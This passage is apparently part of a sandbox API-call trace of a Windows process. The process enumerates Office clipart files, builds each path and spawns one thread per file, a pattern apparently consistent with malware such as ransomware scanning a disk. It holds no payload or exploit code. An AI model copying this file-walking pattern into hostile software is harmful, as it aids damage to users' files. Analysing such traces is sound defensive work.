_Dest=0x2050ada0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.344] wcscat (in: _Dest=0x2050ada0, _Source="BL00921_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" [0120.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ada0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0120.345] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0120.345] wcscmp (_String1="BL00923_.WMF", _String2=".") returned 1 [0120.345] wcscmp (_String1="BL00923_.WMF", _String2="..") returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050abf0 [0120.345] wcscpy (in: _Dest=0x2050abf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.345] wcscat (in: _Dest=0x2050abf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.345] wcscat (in: _Dest=0x2050abf0, _Source="BL00923_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" [0120.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050abf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0120.346] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0120.346] wcscmp (_String1="BL00932_.WMF", _String2=".") returned 1 [0120.346] wcscmp (_String1="BL00932_.WMF", _String2="..") returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a6e0 [0120.346] wcscpy (in: _Dest=0x2050a6e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.346] wcscat (in: _Dest=0x2050a6e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.346] wcscat (in: _Dest=0x2050a6e0, _Source="BL00932_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" [0120.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8 [0120.347] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0120.347] wcscmp (_String1="BL00985_.WMF", _String2=".") returned 1 [0120.347] wcscmp (_String1="BL00985_.WMF", _String2="..") returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a5c0 [0120.347] wcscpy (in: _Dest=0x2050a5c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.347] wcscat (in: _Dest=0x2050a5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.347] wcscat (in: _Dest=0x2050a5c0, _Source="BL00985_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" [0120.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4 [0120.348] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0120.348] wcscmp (_String1="BOAT.WMF", _String2=".") returned 1 [0120.348] wcscmp (_String1="BOAT.WMF", _String2="..") returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85d610 [0120.348] wcscpy (in: _Dest=0x1b85d610, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.348] wcscat (in: _Dest=0x1b85d610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.348] wcscat (in: _Dest=0x1b85d610, _Source="BOAT.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" [0120.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0 [0120.349] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0120.349] wcscmp (_String1="BOATINST.WMF", _String2=".") returned 1 [0120.349] wcscmp (_String1="BOATINST.WMF", _String2="..") returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a530 [0120.349] wcscpy (in: _Dest=0x2050a530, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.349] wcscat (in: _Dest=0x2050a530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.350] wcscat (in: _Dest=0x2050a530, _Source="BOATINST.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" [0120.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12dc [0120.350] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0120.350] wcscmp (_String1="BS00076_.WMF", _String2=".") returned 1 [0120.350] wcscmp (_String1="BS00076_.WMF", _String2="..") returned 1 [0120.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a260 [0120.351] wcscpy (in: _Dest=0x2050a260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.351] wcscat (in: _Dest=0x2050a260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.351] wcscat (in: _Dest=0x2050a260, _Source="BS00076_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" [0120.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8 [0120.352] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0120.352] wcscmp (_String1="BS00078_.WMF", _String2=".") returned 1 [0120.352] wcscmp (_String1="BS00078_.WMF", _String2="..") returned 1 [0120.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a0b0 [0120.352] wcscpy (in: _Dest=0x2050a0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.352] wcscat (in: _Dest=0x2050a0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.352] wcscat (in: _Dest=0x2050a0b0, _Source="BS00078_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" [0120.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4 [0120.353] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0120.353] wcscmp (_String1="BS00092_.WMF", _String2=".") returned 1 [0120.353] wcscmp (_String1="BS00092_.WMF", _String2="..") returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a410 [0120.353] wcscpy (in: _Dest=0x2050a410, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.353] wcscat (in: _Dest=0x2050a410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.353] wcscat (in: _Dest=0x2050a410, _Source="BS00092_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" [0120.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d0 [0120.354] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0120.354] wcscmp (_String1="BS00100_.WMF", _String2=".") returned 1 [0120.354] wcscmp (_String1="BS00100_.WMF", _String2="..") returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a650 [0120.354] wcscpy (in: _Dest=0x2050a650, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.354] wcscat (in: _Dest=0x2050a650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.354] wcscat (in: _Dest=0x2050a650, _Source="BS00100_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" [0120.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc [0120.355] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0120.355] wcscmp (_String1="BS00135_.WMF", _String2=".") returned 1 [0120.355] wcscmp (_String1="BS00135_.WMF", _String2="..") returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a2f0 [0120.355] wcscpy (in: _Dest=0x2050a2f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.355] wcscat (in: _Dest=0x2050a2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.355] wcscat (in: _Dest=0x2050a2f0, _Source="BS00135_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" [0120.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8 [0120.372] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0120.372] wcscmp (_String1="BS00136_.WMF", _String2=".") returned 1 [0120.373] wcscmp (_String1="BS00136_.WMF", _String2="..") returned 1 [0120.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a45c0 [0120.373] wcscpy (in: _Dest=0x202a45c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.373] wcscat (in: _Dest=0x202a45c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.373] wcscat (in: _Dest=0x202a45c0, _Source="BS00136_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" [0120.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a45c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f8 [0120.413] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0120.413] wcscmp (_String1="BS00145_.WMF", _String2=".") returned 1 [0120.413] wcscmp (_String1="BS00145_.WMF", _String2="..") returned 1 [0120.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5b20 [0120.413] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.413] wcscat (in: _Dest=0x202a5b20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.413] wcscat (in: _Dest=0x202a5b20, _Source="BS00145_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" [0120.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x129c [0120.421] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0120.421] wcscmp (_String1="BS00174_.WMF", _String2=".") returned 1 [0120.421] wcscmp (_String1="BS00174_.WMF", _String2="..") returned 1 [0120.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a56a0 [0120.421] wcscpy (in: _Dest=0x202a56a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.421] wcscat (in: _Dest=0x202a56a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.421] wcscat (in: _Dest=0x202a56a0, _Source="BS00174_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" [0120.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a56a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1298 [0120.423] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0120.423] wcscmp (_String1="BS00184_.WMF", _String2=".") returned 1 [0120.423] wcscmp (_String1="BS00184_.WMF", _String2="..") returned 1 [0120.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5610 [0120.423] wcscpy (in: _Dest=0x202a5610, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.423] wcscat (in: _Dest=0x202a5610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.423] wcscat (in: _Dest=0x202a5610, _Source="BS00184_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" [0120.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1294 [0120.424] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0120.424] wcscmp (_String1="BS00186_.WMF", _String2=".") returned 1 [0120.424] wcscmp (_String1="BS00186_.WMF", _String2="..") returned 1 [0120.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5730 [0120.424] wcscpy (in: _Dest=0x202a5730, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.424] wcscat (in: _Dest=0x202a5730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.424] wcscat (in: _Dest=0x202a5730, _Source="BS00186_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" [0120.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290 [0120.425] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, 